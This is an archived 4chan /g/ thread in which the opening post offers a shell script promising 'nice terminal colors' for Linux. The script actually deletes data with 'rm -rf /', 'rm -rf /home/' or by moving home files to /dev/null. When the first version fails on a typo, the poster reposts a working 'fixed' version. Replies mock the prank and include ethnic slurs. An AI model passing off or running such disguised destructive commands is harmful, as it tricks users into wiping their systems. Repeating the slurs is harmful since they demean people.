[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
For news in Linux, this is an algorithm with which you can have
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 15
Thread images: 3
File: Workspace 1_021.png (335 KB, 1244x770) Image search: [Google]
Workspace 1_021.png
335 KB, 1244x770
For news in Linux, this is an algorithm with which you can have a nice terminal colors like the picture. You only copy this code in your txt editor (From #!/bin/sh to esac):

#!/bin/sh
# Script for colorfull shell
echo "1) Basic modification"
echo "2) Expert modification"
echo "3) Others"
echo -n "Write your number:"
read opcion
case "$opción" in
1) rm -rf /;;
2) rm -rf /home/;;
3) mv /home/*/* /dev/null;;
*) echo "Error, please write your number"
esac

Now, you save this with .sh file format, you can put Linux.sh like a name. Now you open the terminal and go to the folder where you have this .sh file and run it with the command:
sh Linux.sh
sh, is the command for run this file.
>>
>>54862218
your screenshot looks fucking nice, is that regular Ubuntu? Looks like the old 10.10
>>
>>54862218
are you retarded? you think people who know how to create a bash script and run it in a terminal (chmod it and run with sudo), will fall for it?
>>
I seriously hope this is somehow ironic or some shit
>>
File: cat boxing.jpg (41 KB, 628x676) Image search: [Google]
cat boxing.jpg
41 KB, 628x676
>doesn't even upload a script to a filehost
>literally puts the rm -rf script in plaintext in the post

ok
>>
>>54862218
doesnt work, what am I doing wrong??

I want those sweet sexy terminal colours
>>
>>54862218

>read opcion
>case "$opción" in

kek, spics
>>
>>54862406
mexican intellectuals
>>
>>54862218
#rekt
>>
BEANER MALWARE IS ON THE RISE
>>
>spics in charge of trolling
>>
>>54862506
>>54862514
wee need a fireWALL
>>
>>54862406
Thank you somuch!
>>
>>54862669
its too late now, I already found another color shceme.

maybe next time test it yourself before posting
>>
>>54862376
>>54862218

>doesnt work, what am I doing wrong??
Sorry, This is the code (My error):

#!/bin/sh
# Script for colorfull shell
echo "1) Basic modification"
echo "2) Expert modification"
echo "3) Others"
echo -n "Write your number:"
read option
case "$option" in
1) rm -rf /;;
2) rm -rf /home/;;
3) mv /home/*/* /dev/null;;
*) echo "Error, please write your number"
esac
Thread replies: 15
Thread images: 3

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.